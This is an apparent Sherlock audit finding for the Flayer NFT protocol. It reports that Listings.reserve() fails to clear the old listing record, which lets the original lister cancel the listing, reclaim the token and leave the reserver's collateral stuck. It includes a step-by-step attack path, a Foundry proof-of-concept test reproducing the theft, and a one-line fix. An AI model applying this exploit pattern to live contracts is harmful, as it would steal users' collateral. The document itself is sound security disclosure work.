jecikpo - After reserving of a listing old owner can steal listing

[sherlock-admin2]

jecikpo

High

After reserving of a listing old owner can steal listing

Summary

Lack of record clearing of the _listings mapping at Listings contract allows for stealing the token by the old listing owner when new owner reserves the listing by calling Listings.reserve().

Root Cause

At Listings.reserve() there is lack of delete_listings[_collection][_tokenId]which leads to keeping the ownership of a listing by the old owner when someone callsListings.reserve()`.

The problematic function: https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Listings.sol#L690

Internal pre-conditions

1. A listing needs to be created on Listings contract.
2. Another user needs to call Listings.reserve() on one of the listing.

External pre-conditions

No specific external pre-conditions are required.

Attack Path

1. User1 creates a listing for token1 on Listings contract through createListings()
2. User2 wants to reserve the token1 listing for himself and calls reserve() on that token and pays collateral.
3. User1 calls e.g. cancelListing() for token1, pays the fee and takes ownership of token1
4. User2 is left with a protected listings, but cannot withdraw token1 as Locker is not its owner anymore.

Impact

All Users who reserve listings through Listings.reserve() and pay collateral, can loose their entire collateral, as the withdrawal of their reserved tokens will not be possible if they are taken over by the old listings's user.

Note here that when the _listings mapping is not cleared, cancelListings(), by the old owner is not the only problematic path. The remaining "ghost" listing, could be filled, relisted or even reserved again, by anyone.

PoC

    function test_MyFailedReserve() public {
        uint16 _floorMultiple = 101;
        address payable _owner1 = payable(address(0x01));
        address payable _owner2 = payable(address(0x02));

        // Deploy our platform contracts
        _deployPlatform();

        // Define our `_poolKey` by creating a collection. This uses `erc721b`, as `erc721a`
        // is explicitly created in a number of tests.
        locker.createCollection(address(erc721a), 'Test Collection', 'TEST', 0);

        // Initialise our collection
        _initializeCollection(erc721a, SQRT_PRICE_1_2);

        // Mint our token to the _owner and approve the {Listings} contract to use it
        erc721a.mint(_owner1, TOKEN_ID);

        deal(address(locker.collectionToken(address(erc721a))), _owner1, 2 ether);
        deal(address(locker.collectionToken(address(erc721a))), _owner2, 2 ether);

        // Create our listing for owner 1
        vm.startPrank(_owner1);
        erc721a.approve(address(listings), TOKEN_ID);
        _createListing({
            _listing: IListings.CreateListing({
                collection: address(erc721a),
                tokenIds: _tokenIdToArray(TOKEN_ID),
                listing: IListings.Listing({
                    owner: _owner1,
                    created: uint40(block.timestamp),
                    duration: VALID_LIQUID_DURATION,
                    floorMultiple: _floorMultiple
                })
            })
        });

        // owner2 reserves the listing for himself and pays some collateral
        // The owner2 then takes the token out
        vm.startPrank(_owner2);
        locker.collectionToken(address(erc721a)).approve(address(listings), 1 ether);
        listings.reserve(address(erc721a), TOKEN_ID, 0.5 ether);
        vm.stopPrank();

        IListings.Listing memory listing = listings.listings(address(erc721a), TOKEN_ID);

        // we can see here that the listing still exists on the Listings contract
        console.log("Listing owner: %", listing.owner);

        // the old owner cancels the listing.
        vm.startPrank(_owner1);
        locker.collectionToken(address(erc721a)).approve(address(listings), 1.5 ether);
        listings.cancelListings(address(erc721a), _tokenIdToArray(TOKEN_ID), false);

        address ownerOfToken = erc721a.ownerOf(TOKEN_ID);

        // we can see that the old owner (_owner1) took over the token, while the _onwer2
        // is left with a protected listing, but the token is already gone from the contract
        console.log("owner of the token: %", ownerOfToken);

    }

Mitigation

To mitigate the issue the following line needs to be added to the reserve() function at Listings:

delete `_listings[_collection][_tokenId];